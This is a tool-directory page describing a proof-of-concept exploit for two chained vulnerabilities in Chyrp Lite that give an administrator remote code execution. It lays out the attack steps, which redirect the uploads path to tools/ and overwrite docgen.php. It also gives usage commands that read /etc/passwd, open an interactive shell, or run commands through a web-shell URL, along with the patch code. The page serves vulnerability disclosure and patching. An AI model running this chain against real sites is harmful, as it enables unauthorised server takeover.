Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
chyrp-lite-rce-poc — CVE-2026-53767 + CVE-2026-53768 - Authenticated RCE in Chyrp Lite ≤ 2026.01 via uploads_path blocklist bypass and missing extension validation | Kitploit
Tools/GitHubGitHub/iltosec/chyrp-lite-rce-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityLearning & EducationPayload Development
GitHubiltosec/chyrp-lite-rce-poc

chyrp-lite-rce-poc

CVE-2026-53767 + CVE-2026-53768 - Authenticated RCE in Chyrp Lite ≤ 2026.01 via uploads_path blocklist bypass and missing extension validation

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

chyrp-lite-rce-poc

CVE-2026-53767 + CVE-2026-53768 - Authenticated RCE in Chyrp Lite ≤ 2026.01 ("Iriomote")

Chained attack: uploads_path blocklist bypass (CVE-2026-53768) + missing file extension validation in admin_update_upload() (CVE-2026-53767) → Remote Code Execution as www-data


Overview

Chyrp Lite ≤ 2026.01 is vulnerable to an authenticated Remote Code Execution chain exploitable by any user holding change_settings and edit_upload permissions (default: Administrator).

CVECVE-2026-53767 · CVE-2026-53768
CVSS9.1 Critical (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Affectedxenocrat/chyrp-lite ≤ 2026.01
Patchedcommit 1489dc9
AdvisoriesGHSA-8h86-c24h-5jp3 · GHSA-r9w7-5h94-wq5x
Reporteriltosec

Usage

root@kitploit:~
python chyrp_rce_poc.py -h

usage: chyrp_rce_poc.py [-h] -u URL -U USERNAME -P PASSWORD [-c CMD] [-i]
                         [--config CONFIG] [--restore RESTORE]

Default recon run

root@kitploit:~
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:'   

Single command

root@kitploit:~
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -c 'cat /etc/passwd'
image

Interactive shell

root@kitploit:~
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -i
image

Attack Chain

Step 1 - Authenticate

Step 2 - Redirect uploads_path to tools/ (not in blocklist)

image

image

Step 3 - Overwrite tools/docgen.php (no extension check on replacement)

image

image

Step 4 - Execute

http://127.0.0.1/chyrp/tools/docgen.php?cmd=id

image

CVE-2026-53768 - Incomplete uploads_path blocklist

includes/controller/Admin.php validates uploads_path against a hardcoded blocklist:

root@kitploit:~
admin | ajax | feathers | fonts | includes | modules | themes

The tools/ directory - which ships with Chyrp Lite and contains executable .php files (docgen.php, gettext.php, triggers.php) - is not listed. Submitting uploads_path=tools passes validation and is persisted to config.json.php.

CVE-2026-53767 - Missing extension validation in admin_update_upload()

upload_tester() (includes/helpers.php) only checks the PHP upload error code and file size - it performs no extension validation on the replacement file. The target filename is taken from $_POST['file'] and resolved against the current uploads_path. Since tools/docgen.php already exists (satisfying the is_file() check), it is silently overwritten with arbitrary content.


Note: The --config flag points to config.json.php for CSRF token computation. If the file is not locally readable, the script falls back to extracting the token from the HTML response automatically.


Requirements

  • Python 3.x (stdlib only - no external dependencies)
  • Admin credentials for the target Chyrp Lite instance

Fix

Update to a version containing commit 1489dc9 or later.

Two independent fixes were applied:

Fix 1 - Add tools (and licenses) to the uploads_path blocklist:

root@kitploit:~
// Before
"/^$qdir((admin|ajax|feathers|fonts|includes|modules|themes)$qdir|$)/"

// After
"/^$qdir((admin|ajax|feathers|fonts|includes|licenses|modules|themes|tools)$qdir|$)/"

Fix 2 - Validate the uploaded file's extension against the whitelist in admin_update_upload():

root@kitploit:~
$new_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
$whitelist = upload_filter_whitelist();
if (!in_array($new_extension, $whitelist))
    error(__("Error"), __("File type is not allowed."), code: 422);

References

  • GHSA-8h86-c24h-5jp3 - Missing extension validation
  • GHSA-r9w7-5h94-wq5x - Incomplete blocklist
  • Fix commit 1489dc9
  • iltosec.com - Full writeup

Legal

This PoC is released for educational and research purposes only. Use only against systems you own or have explicit written permission to test. The author is not responsible for any misuse.

Download Tool